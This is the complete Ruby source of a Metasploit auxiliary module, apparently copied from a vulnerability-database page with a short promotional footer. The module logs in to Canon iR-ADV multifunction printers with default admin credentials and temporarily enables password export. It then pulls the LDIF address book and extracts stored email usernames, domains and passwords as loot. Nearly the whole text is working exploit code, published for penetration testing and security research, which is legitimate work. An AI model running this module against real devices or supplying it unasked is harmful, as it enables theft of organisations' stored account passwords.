`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Canon IR-Adv Password Extractor',
'Description' => %q{
This module will extract the passwords from address books on various Canon IR-Adv mfp devices.
Tested models:
iR-ADV C2030,
iR-ADV 4045,
iR-ADV C5030,
iR-ADV C5235,
iR-ADV C5240,
iR-ADV 6055,
iR-ADV C7065
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi',
'wvu',
'Dev Mohanty'
],
'License' => MSF_LICENSE
))
register_options(
[
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),
Opt::RPORT(8000),
OptString.new('USER', [ true, 'The default Admin user', '7654321']),
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
])
end
def run_host(ip)
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")
login(ip)
end
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
def login(ip)
vars_post = {
"uri" => "%2f",
"deptid" => "#{datastore['USER']}",
"password" => "#{datastore['PASSWD']}"
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/login'),
'vars_post' => vars_post
}, datastore['TIMEOUT'].to_i)
end
#grab Canon sessionid cookie
idcookie = res.nil? ? nil : res.get_cookies
if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location'))
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
#grab Canon IR= session cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),
'headers' => {'Cookie' => "#{idcookie}"},
}, datastore['TIMEOUT'].to_i)
ircookie = res.nil? ? nil : res.get_cookies
cookies=("#{idcookie}; #{ircookie}")
set_allow(cookies)
extract(cookies, ip)
set_disallow(cookies)
else
print_error("Failed to login on #{rhost}. Please check the password for the #{datastore['USER']} account ")
end
end
# Set the allow password export to on
def set_allow(cookies)
vars_post = {
"ADRSEXPPSWDCHK" => "0",
"PageFlag" => "c_adrs.tpl",
"Flag" => "Exec_Data",
"CoreNXAction" => "./cadrs.cgi",
"CoreNXPage" => "c_adrexppass.tpl",
"CoreNXFlag" => "Init_Data",
"Dummy" => "1359048058115"
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/cadrs.cgi'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
end
end
# Extract the address book data and save out to loot
def extract(cookies, ip)
vars_post = {
"AID" => "#{datastore['ADDRSBOOK']}",
"ACLS" => "1",
"ENC_MODE" => "0",
"ENC_FILE" => "password",
"PASSWD" => "",
"PageFlag" => "",
"AMOD" => "",
"Dummy" => "1359047882596",
"ERR_PG_KIND_FLG" => "Adress_Export"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/abook.ldif'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
address_book = res.nil? ? nil : res.body
print_status("#{address_book}")
#Woot we got loot.
loot_name = "canon.iradv.addressbook"
loot_type = "text/plain"
loot_filename = "Canon-addressbook.text"
loot_desc = "Canon Addressbook Harvester"
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
print_good("Credentials saved in: #{p}")
harvest_ldif(address_book, ip)
end
# Reset the allow password export to off
def set_disallow(cookies)
vars_post = {
"ADRSEXPPSWDCHK" => "1",
"PageFlag" => "c_adrs.tpl",
"Flag" => "Exec_Data",
"CoreNXAction" => "./cadrs.cgi",
"CoreNXPage" => "c_adrexppass.tpl",
"CoreNXFlag" => "Init_Data",
"Dummy" => "1359048058115"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/cadrs.cgi'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
end
# Harvest Credential
def harvest_ldif(address_book, ip)
harvest_file(address_book, ip)
end
def harvest_credentials(mailaddress, pwd, ip)
return if mailaddress == nil
username_domain = mailaddress.split('@')
username = username_domain[0]
domain = username_domain[1]
service_data = {
address: Rex::Socket.getaddress(ip),
port: rport,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
username: username,
private_data: pwd,
private_type: :password
}
create_credential(credential_data.merge(service_data))
print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
end
def harvest_file(ldif, ip)
users = []
ldif.split("\r\n\r\n").each do |user|
user_attributes = {}
user.split("\r\n").each do |attribute|
attribute_array = attribute.split(": ")
attr_name = attribute_array.shift
attr_value = attribute_array.join
user_attributes[attr_name] = attr_value
end
harvest_credentials((user_attributes['username'] || user_attributes['mailaddress'] || user_attributes['mail']), user_attributes['pwd'], ip)
users << user_attributes
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation